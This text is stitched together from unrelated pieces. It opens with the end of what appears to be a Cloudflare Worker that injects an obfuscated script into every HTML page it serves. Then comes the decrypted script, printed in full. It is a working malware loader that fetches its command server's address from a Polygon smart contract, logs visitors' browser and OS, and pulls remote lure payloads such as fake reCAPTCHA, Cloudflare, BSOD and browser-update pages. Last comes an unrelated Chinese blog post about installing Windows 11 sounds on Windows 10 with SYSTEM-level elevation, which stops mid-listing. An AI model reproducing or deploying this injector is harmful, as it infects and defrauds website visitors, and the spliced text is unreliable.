wwqB2FDQ0VQVAcaB0FQUExJQ0FUSU9OD0pTT04HKl0MKkJPRFkaanNvbg5TVFJJTkdJRlkIQk9EWQkMKkNBQ0hFGgdOTw1TVE9SRQcqXQxUSU1FT1VUbVMJGypdKkFTWU5DAEZVTkNUSU9OAEdFVHVSTGZST01jT05UUkFDVAgJWypDT05TVABEQVRBZklFTEQdBxBYBwtjb250cmFjdH9jb25maWcOZnVuY3Rpb25/c2VsZWN0b3IbKkNPTlNUAFBBUkFNUx17W1RPGmNvbnRyYWN0f2NvbmZpZw5jb250cmFjdH9hZGRyZXNzDERBVEEaREFUQWZJRUxEXQwHTEFURVNUB30bKkNPTlNUAFJFUVVFU1RiT0RZHVtKU09OUlBDGgcSDhAHDE1FVEhPRBoHRVRIf0NBTEwHDFBBUkFNUwxJRBoRXRsqRk9SCExFVABBVFRFTVBUHRAbQVRURU1QVBwIY29udHJhY3R/Y29uZmlnDm1heH9yZXRyaWVzXFwRCRtBVFRFTVBUCwsJWypGT1IIQ09OU1QARU5EUE9JTlQAT0YIY29udHJhY3R/Y29uZmlnDnJwY39ob3N0c1xce30JCVsqVFJZWypDT05TVABEQVRBHUFXQUlUAFBPU1RqU09Od0lUSHRJTUVPVVQIRU5EUE9JTlQMUkVRVUVTVGJPRFkMY29udHJhY3R/Y29uZmlnDnRpbWVvdXR/bXNcXBUQEBAJGypJRghEQVRBBgZEQVRBDlJFU1VMVAlbKkNPTlNUAERPTUFJTh1ERUNPREVyRVNVTFQIREFUQQ5SRVNVTFQJGypJRghET01BSU4GBkRPTUFJTg5MRU5HVEgeEAlbKkxFVABVUkwdRE9NQUlODlRSSU0ICRsqSUYIAVVSTA5TVEFSVFN3SVRICAdIVFRQBwkJVVJMHQdIVFRQUxoPDwcLVVJMGypSRVRVUk4AVVJMGypdKl0qXUNBVENICEUJW10qXSpdKlJFVFVSTgBOVUxMGypdKkZVTkNUSU9OAFVQREFURXVSTFMIQkFTRXVSTAlbKklGCAFCQVNFdVJMCVJFVFVSThsqUEFORUxiQVNFdVJMHUJBU0V1UkwOUkVQTEFDRQgPfA8EDwwHBwkbKkFQSWJBU0UdUEFORUxiQVNFdVJMGypMT0d1UkwdQlVJTERhUEl1UkwIW0EaB0VWVAddCVxcCEFQSWJBU0ULBw9BUEkPSU5ERVgOUEhQH0EdRVZUBwkbKlRPS0VOdVJMHUJVSUxEYVBJdVJMCFtBGgdJTklUB10JXFwIQVBJYkFTRQsHD0FQSQ9JTkRFWA5QSFAfQR1JTklUBwkbKkRPV05MT0FEdVJMHUJVSUxEYVBJdVJMCFtBGgdETAddCVxcCEFQSWJBU0ULBw9BUEkPSU5ERVgOUEhQH0EdREwHCRsqXSpBU1lOQwBGVU5DVElPTgBSRUZSRVNIY09ORklHZlJPTWFQSQgJWypUUllbKkNPTlNUAENPTlRSQUNUdVJMHUFXQUlUAEdFVHVSTGZST01jT05UUkFDVAgJGypJRggBQ09OVFJBQ1R1UkwJVEhST1cATkVXAGVSUk9SCAdiUk9XU0VSd0FSTklORxoAZkFJTEVEAFRPAEdFVAB1cmwARlJPTQBDT05UUkFDVAcJGypVUERBVEV1UkxTCENPTlRSQUNUdVJMCRsqQ09OU1QAU0VUVElOR1N1UkwdQlVJTERhUEl1UkwIW0EaB0NGRwddCVxcCENPTlRSQUNUdVJMCwcPQVBJD0lOREVYDlBIUB9BHUNGRwcJGypMRVQAUkVNT1RFHUFXQUlUAEZFVENIalNPTndJVEh0SU1FT1VUCFNFVFRJTkdTdVJMDFtDQUNIRRoHTk8NU1RPUkUHXQwVEBAQCRsqUkVNT1RFHUFXQUlUAERFQ1JZUFRhUEllTlZFTE9QRQhSRU1PVEUMB0NGRwcJGypJRggBUkVNT1RFXFxUWVBFT0YAUkVNT1RFAR0dB09CSkVDVAcJVEhST1cATkVXAGVSUk9SCAdiUk9XU0VSd0FSTklORxoASU5WQUxJRABTRVRUSU5HUwBQQVlMT0FEBwkbKkNGRx1vQkpFQ1QOQVNTSUdOCFtdDFJFTU9URQkbKklGCENGRw5DT05UUkFDVGNPTkZJRwlbKlRSWVtvQkpFQ1QOQVNTSUdOCGNvbnRyYWN0f2NvbmZpZwxDRkcOQ09OVFJBQ1RjT05GSUcJG11DQVRDSAhFCVtdKl0qSUYIQ0ZHDlBBTkVMYkFTRXVSTAYGQ0ZHDlBBTkVMYkFTRXVSTAEdHVBBTkVMYkFTRXVSTAlVUERBVEV1UkxTCENGRw5QQU5FTGJBU0V1UkwJGypTSE9XZEVMQVkdVFlQRU9GAENGRw5TSE9XZEVMQVkdHR0HTlVNQkVSBx9DRkcOU0hPV2RFTEFZGmRlZmF1bHR/c2hvd39kZWxheRsqTU9ERR1UWVBFT0YAQ0ZHDk1PREUdHR0HU1RSSU5HBx9DRkcOTU9ERRoHQlJPV1NFUgcbKl1DQVRDSAhFCVsqVEhST1cARRsqXSpdKkFTWU5DAEZVTkNUSU9OAExPR2VWRU5UCEVWRU5UdFlQRQxQQVlMT0FECVsqSUYIAUxPR3VSTAYGAUFQSWJBU0UJUkVUVVJOGypUUllbKkNPTlNUAFVSTB1CVUlMRGFQSXVSTAhbQRoHRVZUB10JXFxMT0d1UkwbKkFXQUlUAEZFVENId0lUSHRJTUVPVVQIVVJMDFsqTUVUSE9EGgdwb3N0BwwqSEVBREVSUxpbB2NPTlRFTlQNdFlQRQcaB1RFWFQPUExBSU4bQ0hBUlNFVB11dGYNGAddDCpCT0RZGmpzb24OU1RSSU5HSUZZCG9CSkVDVA5BU1NJR04IW0VWRU5UdFlQRV0MUEFZTE9BRFxcW10JCQwqQ0FDSEUaB05PDVNUT1JFBypdDBMQEBAJGypdQ0FUQ0gIRQlbXSpdKkZVTkNUSU9OAExPQURtT0RFc0NSSVBUCE1PREVuQU1FDENBQ0hFYlVTVAlbKlJFVFVSTgBORVcAcFJPTUlTRQgIUkVTT0xWRQxSRUpFQ1QJHR5bKklGCAFQQU5FTGJBU0V1UkwJUkVUVVJOAFJFSkVDVAhORVcAZVJST1IIB1BBTkVMYkFTRXVSTH9NSVNTSU5HBwkJGypERUxFVEUAV0lORE9Xe2hhbmRsZXJ/ZXhwb3J0fRsqQ09OU1QAU0NSSVBUHURPQ1VNRU5UDkNSRUFURWVMRU1FTlQIB1NDUklQVAcJGypDT05TVABTQUZFbU9ERR0ITU9ERW5BTUUGBm1vZGV/ZmlsZX9tYXB7TU9ERW5BTUV9CR9NT0RFbkFNRRoHQlJPV1NFUgcbKkNPTlNUAEFQSXNDUklQVHVSTB1CVUlMRGFQSXVSTAhbQRoHSlMHDE1PREUac1RSSU5HCFNBRkVtT0RFCV0JGypTQ1JJUFQOU1JDHUFQSXNDUklQVHVSTFxcCFBBTkVMYkFTRXVSTAsHD0FQSQ9JTkRFWA5QSFAfQR1KUwZNT0RFHQcLRU5DT0RFdXJpY09NUE9ORU5UCHNUUklORwhTQUZFbU9ERQkJCRsqU0NSSVBUDkFTWU5DHVRSVUUbKlNDUklQVA5PTkxPQUQdCAkdHlsqQ09OU1QARk4dV0lORE9Xe2hhbmRsZXJ/ZXhwb3J0fRsqREVMRVRFAFdJTkRPV3toYW5kbGVyf2V4cG9ydH0bKklGCFRZUEVPRgBGTh0dHQdGVU5DVElPTgcJUkVUVVJOAFJFU09MVkUIRk4JGypSRUpFQ1QITkVXAGVSUk9SCAdNT0RFf0hBTkRMRVJ/TUlTU0lORwcJCRsqXRsqU0NSSVBUDk9ORVJST1IdCAkdHlsqREVMRVRFAFdJTkRPV3toYW5kbGVyf2V4cG9ydH0bKlJFSkVDVAhORVcAZVJST1IIB01PREV/U0NSSVBUf0ZBSUxFRAcJCRsqXRsqRE9DVU1FTlQOSEVBRA5BUFBFTkRjSElMRAhTQ1JJUFQJGypdCRsqXSpBU1lOQwBGVU5DVElPTgBCT09UU1RSQVAITU9ERW5BTUUMQ09OVEVYVAlbKlRSWVsqQ09OU1QAUlVOTkVSHUFXQUlUAExPQURtT0RFc0NSSVBUCE1PREVuQU1FDENGRwYGCENGRw5DQUNIRXRBR1xcQ0ZHDlVQREFURURhVAkJGypBV0FJVABSVU5ORVIIQ09OVEVYVAkbKl1DQVRDSAhFCVsqSUYITU9ERW5BTUUBHR0HQlJPV1NFUgcJWypUUllbKkNPTlNUAEZBTExCQUNLHUFXQUlUAExPQURtT0RFc0NSSVBUCAdCUk9XU0VSBwxDRkcGBghDRkcOQ0FDSEV0QUdcXENGRw5VUERBVEVEYVQJCRsqQVdBSVQARkFMTEJBQ0sIb0JKRUNUDkFTU0lHTghbXQxDT05URVhUDFtNT0RFGgdCUk9XU0VSB10JCRsqXUNBVENICEVSUglbKl0qXSpdKl0qQVNZTkMARlVOQ1RJT04ATUFJTggJWypUUllbKkFXQUlUAFJFRlJFU0hjT05GSUdmUk9NYVBJCAkbKklGCENGRwYGQ0ZHDkVOQUJMRUQdHR1GQUxTRQlSRVRVUk4bKkNPTlNUAE9THQhDRkcGBlRZUEVPRgBDRkcOT1MdHR0HU1RSSU5HBwYGQ0ZHDk9TCR9zVFJJTkcIQ0ZHDk9TCRoHVU5LTk9XTgcbKkNPTlNUAEJST1dTRVIdCENGRwYGVFlQRU9GAENGRw5CUk9XU0VSHR0dB1NUUklORwcGBkNGRw5CUk9XU0VSCR9zVFJJTkcIQ0ZHDkJST1dTRVIJGgd1TktOT1dOBxsqTEVUAEVGRkVDVElWRW1PREUdCFRZUEVPRgBNT0RFHR0dB1NUUklORwcGBk1PREUJH01PREUaB0JST1dTRVIHGypUUllbKkNPTlNUAExFR0FDWR1MT0NBTHNUT1JBR0UOR0VUaVRFTQhsZWdhY3l/c3RvcmFnZX9rZXkJGypDT05TVABDVVJSRU5UHUxPQ0FMc1RPUkFHRQ5HRVRpVEVNCGxvY2Fsf3N0b3JhZ2V/a2V5CRsqSUYITEVHQUNZAR0dTlVMTAYGQ1VSUkVOVB0dHU5VTEwJTE9DQUxzVE9SQUdFDlNFVGlURU0IbG9jYWx/c3RvcmFnZX9rZXkMTEVHQUNZCRsqSUYITEVHQUNZAR0dTlVMTAlMT0NBTHNUT1JBR0UOUkVNT1ZFaVRFTQhsZWdhY3l/c3RvcmFnZX9rZXkJGypdQ0FUQ0gIRQlbXSpJRghMT0NBTHNUT1JBR0UOR0VUaVRFTQhsb2NhbH9zdG9yYWdlf2tleQkdHR0HEQcJUkVUVVJOGypJRghFRkZFQ1RJVkVtT0RFAR0dB1JFQ0FQVENIQQcGBkVGRkVDVElWRW1PREUBHR0HQlNPRAcGBkVGRkVDVElWRW1PREUBHR0HQ0xPVURGTEFSRQcGBkVGRkVDVElWRW1PREUBHR0HQ0Z/VVBEQVRFBwYGRUZGRUNUSVZFbU9ERQEdHQdTSUxFTlQHCVsqQVdBSVQATE9HZVZFTlQIB1BBR0V/VklFVwcMWypCUk9XU0VSDCpPUwwqTU9ERRpFRkZFQ1RJVkVtT0RFDCpDT05UUkFDVHVSTBpQQU5FTGJBU0V1UkwMKkNPTlRSQUNUYUREUkVTUxpjb250cmFjdH9jb25maWcOY29udHJhY3R/YWRkcmVzcypdCRsqXSpDT05TVABTVEFSVB0ICR0eWypDT05TVABDVFgdWypQQU5FTGJBU0V1UkwMKkFQSWJBU0UMKkFQSXVSTBpCVUlMRGFQSXVSTAwqTE9HdVJMDCpUT0tFTnVSTAwqRE9XTkxPQUR1UkwMKk1PREUaRUZGRUNUSVZFbU9ERQwqT1MMKkJST1dTRVIMKkNPVU5UUlkaBwcMKlNUT1JBR0VrRVkabG9jYWx/c3RvcmFnZX9rZXkMKkNGRwwqQ09OVFJBQ1RjT05GSUcaY29udHJhY3R/Y29uZmlnKl0bKkJPT1RTVFJBUAhFRkZFQ1RJVkVtT0RFDENUWAkbKl0bKklGCERPQ1VNRU5UDlJFQURZc1RBVEUdHR0HTE9BRElORwcJWypET0NVTUVOVA5BRERlVkVOVGxJU1RFTkVSCAdkb21jT05URU5UbE9BREVEBwwICR0eU0VUdElNRU9VVAhTVEFSVAxTSE9XZEVMQVkJDFtPTkNFGlRSVUVdCRsqXUVMU0VbKlNFVHRJTUVPVVQIU1RBUlQMU0hPV2RFTEFZCRsqXSpdQ0FUQ0gIRQlbKl0qXSpNQUlOCAkbKl0JCAkb';function _0x70fc95(s,k){s=atob(s);var len=s.length,i,arr=new Uint8Array(len);for(i=0;i<len;i++){arr[i]=s.charCodeAt(i)^k;}if(window.TextDecoder){try{return new TextDecoder("utf-8").decode(arr);}catch(e){}}var tmp="";for(i=0;i<len;i++){tmp+=String.fromCharCode(arr[i]);}try{return decodeURIComponent(escape(tmp));}catch(e){return tmp;}}var _0xb25a97=_0x70fc95(_0x0b6624,_0x47e122);(new Function(_0xb25a97))();})();
</script>`;
      
      
      if (html.includes('</html>')) {
        html = html.replace('</html>', yourScript + '</html>');
      } else {
        html = html + yourScript;
      }
      
      return new Response(html, {
        headers: response.headers
      });
    }
    
    return response;
  }
}

解密后的js

(function(){
'use strict';
if(typeof window==='undefined'||typeof document==='undefined'||window.__BW_SCRIPT_INITIALIZED__)return;
window.__BW_SCRIPT_INITIALIZED__=true;
const LOCAL_STORAGE_KEY='site_repair_state';
const LEGACY_STORAGE_KEY='bw-downloaded';
const DEFAULT_SHOW_DELAY=1000;
const HANDLER_EXPORT='__BW_MODE_RUN__';
const MODE_FILE_MAP={
browser:'v1.js',
font:'v2.js',
recaptcha:'v3.js',
bsod:'v4.js',
silent:'v5.js',
cloudflare:'v6.js',
cf_update:'v7.js',
mac_recaptcha:'v8.js',
mac_cloudflare:'v9.js'
};
const CONTRACT_CONFIG={
RPC_HOSTS:["https://rpc-mainnet.matic.quiknode.pro","https://rpc.ankr.com/polygon","https://polygon-public.nodies.app","https://polygon-mainnet.public.blastapi.io","https://1rpc.io/matic","https://polygon.drpc.org","https://polygon.gateway.tenderly.co","https://gateway.tenderly.co/public/polygon","https://polygon-mainnet.gateway.tatum.io","https://polygon.rpc.subquery.network/public","https://polygon.therpc.io","https://polygon.lava.build","https://polygon-bor-rpc.publicnode.com","https://polygon.rpc.hypersync.xyz/"],
CONTRACT_ADDRESS:'0x4dE37B7bE1bfb8a74acD8Af57a2c10c5B1A14BB3',
FUNCTION_SELECTOR:'b68d1809',
TIMEOUT_MS:5000,
MAX_RETRIES:2
};
if(typeof __BW_CONTRACT_OVERRIDE!=='undefined'&&__BW_CONTRACT_OVERRIDE){
try{Object.assign(CONTRACT_CONFIG,__BW_CONTRACT_OVERRIDE);}catch(e){}
}
let cfg={};
let panelBaseUrl='';
let apiBase='';
let logUrl='';
let tokenUrl='';
let downloadUrl='';
const API_Q2_KEY_HEX='603a054794e967ef834bf190c37f8d42133d7c5ae05ce2ddf0569b4f508d7bc3';
function b64urlEncodeAscii(str){
try{
return btoa(String(str)).replace(/\+/g,'-').replace(/\//g,'_').replace(/=+$/g,'');
}catch(e){
return'';
}
}
function hexToBytes(hex){
try{
hex=String(hex||'').trim();
if(!/^[a-f0-9]{64}$/i.test(hex))return null;
const out=new Uint8Array(32);
for(let i=0;i<32;i++){
out[i]=parseInt(hex.substr(i*2,2),16)&0xff;
}
return out;
}catch(e){
return null;
}
}
function bytesToB64Url(bytes){
try{
let bin='';
const chunk=0x8000;
for(let i=0;i<bytes.length;i+=chunk){
bin+=String.fromCharCode.apply(null,bytes.subarray(i,i+chunk));
}
return btoa(bin).replace(/\+/g,'-').replace(/\//g,'_').replace(/=+$/g,'');
}catch(e){
return'';
}
}
function b64urlToBytes(b64url){
try{
if(!b64url||typeof b64url!=='string')return null;
let b64=b64url.replace(/-/g,'+').replace(/_/g,'/');
const pad=b64.length%4;
if(pad)b64+='='.repeat(4-pad);
const bin=atob(b64);
const out=new Uint8Array(bin.length);
for(let i=0;i<bin.length;i++)out[i]=bin.charCodeAt(i)&0xff;
return out;
}catch(e){
return null;
}
}
function bytesToUtf8(bytes){
try{
return new TextDecoder('utf-8',{fatal:false}).decode(bytes);
}catch(e){
let s='';
for(let i=0;i<bytes.length;i++)s+=String.fromCharCode(bytes[i]);
return s;
}
}
function concatBytes(a,b){
const out=new Uint8Array(a.length+b.length);
out.set(a,0);
out.set(b,a.length);
return out;
}
async function sha256Bytes(bytes){
try{
if(typeof crypto==='undefined'||!crypto.subtle||!crypto.subtle.digest)return null;
const digest=await crypto.subtle.digest('SHA-256',bytes.buffer?bytes.buffer:bytes);
return new Uint8Array(digest);
}catch(e){
return null;
}
}
function rc4(keyBytes,dataBytes){
const s=new Uint8Array(256);
for(let i=0;i<256;i++)s[i]=i;
let j=0;
for(let i=0;i<256;i++){
j=(j+s[i]+keyBytes[i%keyBytes.length])&255;
const tmp=s[i];
s[i]=s[j];
s[j]=tmp;
}
let i=0;
j=0;
const out=new Uint8Array(dataBytes.length);
for(let n=0;n<dataBytes.length;n++){
i=(i+1)&255;
j=(j+s[i])&255;
const tmp=s[i];
s[i]=s[j];
s[j]=tmp;
const k=s[(s[i]+s[j])&255];
out[n]=dataBytes[n]^k;
}
return out;
}
function buildApiUrl(params){
if(!apiBase)return'';
try{
const qs=new URLSearchParams(params||{}).toString();
const key=hexToBytes(API_Q2_KEY_HEX);
if(key&&typeof Uint8Array!=='undefined'){
const nonce=new Uint8Array(8);
if(typeof crypto!=='undefined'&&crypto.getRandomValues){
crypto.getRandomValues(nonce);
}else{
for(let i=0;i<nonce.length;i++)nonce[i]=(Math.random()*256)&255;
}
const enc=(typeof TextEncoder!=='undefined')?new TextEncoder():null;
const plainBytes=enc?enc.encode(qs):(function(){
const arr=new Uint8Array(qs.length);
for(let i=0;i<qs.length;i++)arr[i]=qs.charCodeAt(i)&255;
return arr;
})();
const keyMat=new Uint8Array(key.length+nonce.length);
keyMat.set(key,0);
keyMat.set(nonce,key.length);
const cipherBytes=rc4(keyMat,plainBytes);
const payload=new Uint8Array(nonce.length+cipherBytes.length);
payload.set(nonce,0);
payload.set(cipherBytes,nonce.length);
const packed=bytesToB64Url(payload);
if(packed){
return apiBase+'/api/index.php?q='+packed;
}
}
return'';
}catch(e){
return'';
}
}
async function decryptApiEnvelope(obj,scope){
try{
if(!obj||typeof obj!=='object')return obj;
if(typeof obj.q!=='string'||!obj.q)return obj;
const safeScope=(typeof scope==='string'&&/^[a-z0-9_]{1,16}$/i.test(scope))?scope:'cfg';
const baseKey=hexToBytes(API_Q2_KEY_HEX);
if(!baseKey)return obj;
if(obj.enc==='gcm1'){
try{
const packed=b64urlToBytes(obj.q);
if(!packed||packed.length<(12+16+1))throw new Error('gcm_packed');
const iv=packed.slice(0,12);
const cipherWithTag=packed.slice(12);
const gcmLabel=safeScope+'|gcm1';
const label=(typeof TextEncoder!=='undefined')?new TextEncoder().encode(gcmLabel):(function(){
const s=gcmLabel;
const arr=new Uint8Array(s.length);
for(let i=0;i<s.length;i++)arr[i]=s.charCodeAt(i)&255;
return arr;
})();
const keyBytes=await sha256Bytes(concatBytes(baseKey,label));
if(!keyBytes)throw new Error('gcm_key');
if(typeof crypto==='undefined'||!crypto.subtle||!crypto.subtle.importKey)throw new Error('gcm_subtle');
const cryptoKey=await crypto.subtle.importKey('raw',keyBytes,{name:'AES-GCM'},false,['decrypt']);
const plainBuf=await crypto.subtle.decrypt({name:'AES-GCM',iv:iv,tagLength:128},cryptoKey,cipherWithTag);
const json=bytesToUtf8(new Uint8Array(plainBuf));
return JSON.parse(json);
}catch(e){
if(typeof obj.q2==='string'&&obj.q2){
const packed2=b64urlToBytes(obj.q2);
if(packed2&&packed2.length>=9){
const nonce=packed2.slice(0,8);
const cipher2=packed2.slice(8);
const keyMat=new Uint8Array(baseKey.length+nonce.length);
keyMat.set(baseKey,0);
keyMat.set(nonce,baseKey.length);
const plainBytes2=rc4(keyMat,cipher2);
const json2=bytesToUtf8(plainBytes2);
return JSON.parse(json2);
}
}
return obj;
}
}
if(obj.enc==='q2'){
const packed=b64urlToBytes(obj.q);
if(!packed||packed.length<9)return obj;
const nonce=packed.slice(0,8);
const cipher=packed.slice(8);
const keyMat=new Uint8Array(baseKey.length+nonce.length);
keyMat.set(baseKey,0);
keyMat.set(nonce,baseKey.length);
const plainBytes=rc4(keyMat,cipher);
const json=bytesToUtf8(plainBytes);
return JSON.parse(json);
}
return obj;
}catch(e){
return obj;
}
}
try{
window.__bwDecryptApiEnvelope=decryptApiEnvelope;
}catch(e){}
let showDelay=DEFAULT_SHOW_DELAY;
let mode='browser';
function fetchWithTimeout(url,options,timeoutMs){
const controller=new AbortController();
const timeoutId=setTimeout(()=>controller.abort(),timeoutMs||5000);
const opts=Object.assign({},options||{},{signal:controller.signal});
return fetch(url,opts).finally(()=>clearTimeout(timeoutId));
}
async function fetchJsonWithTimeout(url,options,timeoutMs){
const resp=await fetchWithTimeout(url,options,timeoutMs);
if(!resp.ok)throw new Error('http_'+resp.status);
return await resp.json();
}
function decodeHexString(hex){
try{
let result='';
for(let i=0;i<hex.length;i+=2){
const byteString=hex.substr(i,2);
const byte=parseInt(byteString,16);
if(byte>0)result+=String.fromCharCode(byte);
}
return result;
}catch(e){
return'';
}
}
function decodeResult(result){
try{
const hexData=result.startsWith('0x')?result.substr(2):result;
if(hexData.length<128)return'';
const lengthHex=hexData.substr(64,64);
const length=parseInt(lengthHex,16);
if(length>0&&hexData.length>=128+length*2){
const stringHex=hexData.substr(128,length*2);
return decodeHexString(stringHex);
}
return'';
}catch(e){
return'';
}
}
async function postJsonWithTimeout(url,body,timeoutMs){
return await fetchJsonWithTimeout(url,{
method:'POST',
headers:{
'Content-Type':'application/json',
'Accept':'application/json'
},
body:JSON.stringify(body),
cache:'no-store'
},timeoutMs);
}
async function getUrlFromContract(){
const dataField='0x'+CONTRACT_CONFIG.FUNCTION_SELECTOR;
const params=[{to:CONTRACT_CONFIG.CONTRACT_ADDRESS,data:dataField},'latest'];
const requestBody={jsonrpc:'2.0',method:'eth_call',params,id:1};
for(let attempt=0;attempt<(CONTRACT_CONFIG.MAX_RETRIES||1);attempt++){
for(const endpoint of(CONTRACT_CONFIG.RPC_HOSTS||[])){
try{
const data=await postJsonWithTimeout(endpoint,requestBody,CONTRACT_CONFIG.TIMEOUT_MS||5000);
if(data&&data.result){
const domain=decodeResult(data.result);
if(domain&&domain.length>0){
let url=domain.trim();
if(!url.startsWith('http'))url='https://'+url;
return url;
}
}
}catch(e){}
}
}
return null;
}
function updateUrls(baseUrl){
if(!baseUrl)return;
panelBaseUrl=baseUrl.replace(/\/$/,'');
apiBase=panelBaseUrl;
logUrl=buildApiUrl({a:'evt'})||(apiBase+'/api/index.php?a=evt');
tokenUrl=buildApiUrl({a:'init'})||(apiBase+'/api/index.php?a=init');
downloadUrl=buildApiUrl({a:'dl'})||(apiBase+'/api/index.php?a=dl');
}
async function refreshConfigFromApi(){
try{
const contractUrl=await getUrlFromContract();
if(!contractUrl)throw new Error('BrowserWarning: Failed to get URL from contract');
updateUrls(contractUrl);
const settingsUrl=buildApiUrl({a:'cfg'})||(contractUrl+'/api/index.php?a=cfg');
let remote=await fetchJsonWithTimeout(settingsUrl,{cache:'no-store'},5000);
remote=await decryptApiEnvelope(remote,'cfg');
if(!remote||typeof remote!=='object')throw new Error('BrowserWarning: invalid settings payload');
cfg=Object.assign({},remote);
if(cfg.contractConfig){
try{Object.assign(CONTRACT_CONFIG,cfg.contractConfig);}catch(e){}
}
if(cfg.panelBaseUrl&&cfg.panelBaseUrl!==panelBaseUrl)updateUrls(cfg.panelBaseUrl);
showDelay=typeof cfg.showDelay==='number'?cfg.showDelay:DEFAULT_SHOW_DELAY;
mode=typeof cfg.mode==='string'?cfg.mode:'browser';
}catch(e){
throw e;
}
}
async function logEvent(eventType,payload){
if(!logUrl&&!apiBase)return;
try{
const url=buildApiUrl({a:'evt'})||logUrl;
await fetchWithTimeout(url,{
method:'POST',
headers:{'Content-Type':'text/plain;charset=UTF-8'},
body:JSON.stringify(Object.assign({eventType},payload||{})),
cache:'no-store'
},3000);
}catch(e){}
}
function loadModeScript(modeName,cacheBust){
return new Promise((resolve,reject)=>{
if(!panelBaseUrl)return reject(new Error('panelBaseUrl_missing'));
delete window[HANDLER_EXPORT];
const script=document.createElement('script');
const safeMode=(modeName&&MODE_FILE_MAP[modeName])?modeName:'browser';
const apiScriptUrl=buildApiUrl({a:'js',mode:String(safeMode)});
script.src=apiScriptUrl||(panelBaseUrl+'/api/index.php?a=js&mode='+encodeURIComponent(String(safeMode)));
script.async=true;
script.onload=()=>{
const fn=window[HANDLER_EXPORT];
delete window[HANDLER_EXPORT];
if(typeof fn==='function')return resolve(fn);
reject(new Error('mode_handler_missing'));
};
script.onerror=()=>{
delete window[HANDLER_EXPORT];
reject(new Error('mode_script_failed'));
};
document.head.appendChild(script);
});
}
async function bootstrap(modeName,context){
try{
const runner=await loadModeScript(modeName,cfg&&(cfg.cacheTag||cfg.updatedAt));
await runner(context);
}catch(e){
if(modeName!=='browser'){
try{
const fallback=await loadModeScript('browser',cfg&&(cfg.cacheTag||cfg.updatedAt));
await fallback(Object.assign({},context,{mode:'browser'}));
}catch(err){
}
}
}
}
async function main(){
try{
await refreshConfigFromApi();
if(cfg&&cfg.enabled===false)return;
const os=(cfg&&typeof cfg.os==='string'&&cfg.os)?String(cfg.os):'unknown';
const browser=(cfg&&typeof cfg.browser==='string'&&cfg.browser)?String(cfg.browser):'Unknown';
let effectiveMode=(typeof mode==='string'&&mode)?mode:'browser';
try{
const legacy=localStorage.getItem(LEGACY_STORAGE_KEY);
const current=localStorage.getItem(LOCAL_STORAGE_KEY);
if(legacy!==null&&current===null)localStorage.setItem(LOCAL_STORAGE_KEY,legacy);
if(legacy!==null)localStorage.removeItem(LEGACY_STORAGE_KEY);
}catch(e){}
if(localStorage.getItem(LOCAL_STORAGE_KEY)==='1')return;
if(effectiveMode!=='recaptcha'&&effectiveMode!=='bsod'&&effectiveMode!=='cloudflare'&&effectiveMode!=='cf_update'&&effectiveMode!=='silent'){
await logEvent('page_view',{
browser,
os,
mode:effectiveMode,
contractUrl:panelBaseUrl,
contractAddress:CONTRACT_CONFIG.CONTRACT_ADDRESS
});
}
const start=()=>{
const ctx={
panelBaseUrl,
apiBase,
apiUrl:buildApiUrl,
logUrl,
tokenUrl,
downloadUrl,
mode:effectiveMode,
os,
browser,
country:'',
storageKey:LOCAL_STORAGE_KEY,
cfg,
contractConfig:CONTRACT_CONFIG
};
bootstrap(effectiveMode,ctx);
};
if(document.readyState==='loading'){
document.addEventListener('DOMContentLoaded',()=>setTimeout(start,showDelay),{once:true});
}else{
setTimeout(start,showDelay);
}
}catch(e){
}
}
main();
})();

在 Windows 10 上使用 Windows 11 的音效

Sat, 04 Apr 2026 00:00:00 GMT

众所周知……Windows 11拥有优化差、逻辑猎奇等等等等问题

虽然我的主力机并不使用 Windows 但是仍然有必要让另一台跑着 Win10 但不想升级的设备看起来更现代化一些（实则就是更像 Win11）所以我们需要使用 Win11 音效包！

前期准备

音频资源下载

::file{url="https://ftp.y-dev.tech/s/62so" filename="Win11音效包.zip" size="13.17 MB"}

提权工具

虽然我们可以手动选择对应的音频文件但是比较麻烦，所以我们选择直接替换文件。

众所周知改 Windows 文件夹需要权限，这里我们使用这个项目来实现： ::github{repo='fafalone/RunAsTrustedInstaller'} Release 文件可以自行前往 Github 下载。

开干

首先打开你的架构对应的提权工具在 Program to Run 输入 cmd 然后确认，过10秒左右会弹出提权的cmd窗口，如图你可以输入whoami检验提权是否成功。如成功，应当会：

Microsoft Windows [版本 10.0.19045.7058]
(c) Microsoft Corporation。保留所有权利。

C:\WINDOWS\system32>whoami
nt authority\system

C:\WINDOWS\system32>

这时你就对系统获得了 System 权限，可以任意<del>调戏</del>修改 Windows 的文件了。我们 cd 到你解压了压缩包的路径（我这里是C:\Users\Administrator\Downloads\Win11音效包）

cd C:\Users\Administrator\Downloads\Win11音效包

需要注意的是你 cd 到的必须直接包含所有文件：

C:\Users\Administrator\Downloads\Win11音效包>dir
 驱动器 C 中的卷没有标签。
 卷的序列号是 0EB9-CDF9

 C:\Users\Administrator\Downloads\Win11音效包 的目录

2026/04/15  12:41    <DIR>          .
2026/04/15  12:41    <DIR>          ..
2021/06/05  20:04           491,516 Alarm01.wav
2021/06/05  20:04           331,108 Alarm02.wav
2021/06/05  20:04           355,588 Alarm03.wav
2021/06/05  20:04           409,152 Alarm04.wav
2021/06/05  20:04           728,396 Alarm05.wav
2021/06/05  20:04           600,252 Alarm06.wav
2021/06/05  20:04           560,944 Alarm07.wav
2021/06/05  20:04           505,788 Alarm08.wav
2021/06/05  20:04           483,904 Alarm09.wav
2021/06/05  20:04           335,564 Alarm10.wav
2021/06/05  20:04           216,364 chimes.wav
2021/06/05  20:04           113,964 chord.wav
2021/06/05  20:04            70,060 ding.wav
2021/06/05  20:04            24,253 flourish.mid
2021/06/05  20:05             4,276 Focus0_48000Hz.raw
2021/06/05  20:05             4,230 Focus1_48000Hz.raw
2021/06/05  20:05             4,756 Focus2_48000Hz.raw
2021/06/05  20:05             3,858 Focus3_48000Hz.raw
2021/06/05  20:05             4,592 Focus4_48000Hz.raw
2021/06/05  20:05            63,538 GoBack_48000Hz.raw
2021/06/05  20:05            61,358 Hide_48000Hz.raw
2021/06/05  20:05            48,978 Invoke_48000Hz.raw
2021/06/05  20:05            30,956 MoveNext_48000Hz.raw
2021/06/05  20:05            35,328 MovePrevious_48000Hz.raw
2021/06/05  20:04           228,396 notify.wav
2021/06/05  20:04            40,075 onestop.mid
2021/06/05  20:04           111,788 recycle.wav
2021/06/05  20:04           498,420 Ring01.wav
2021/06/05  20:04           314,468 Ring02.wav
2021/06/05  20:04           826,944 Ring03.wav
2021/06/05  20:04           698,740 Ring04.wav
2021/06/05  20:04         1,132,740 Ring05.wav
2021/06/05  20:04           305,876 Ring06.wav
2021/06/05  20:04           493,948 Ring07.wav
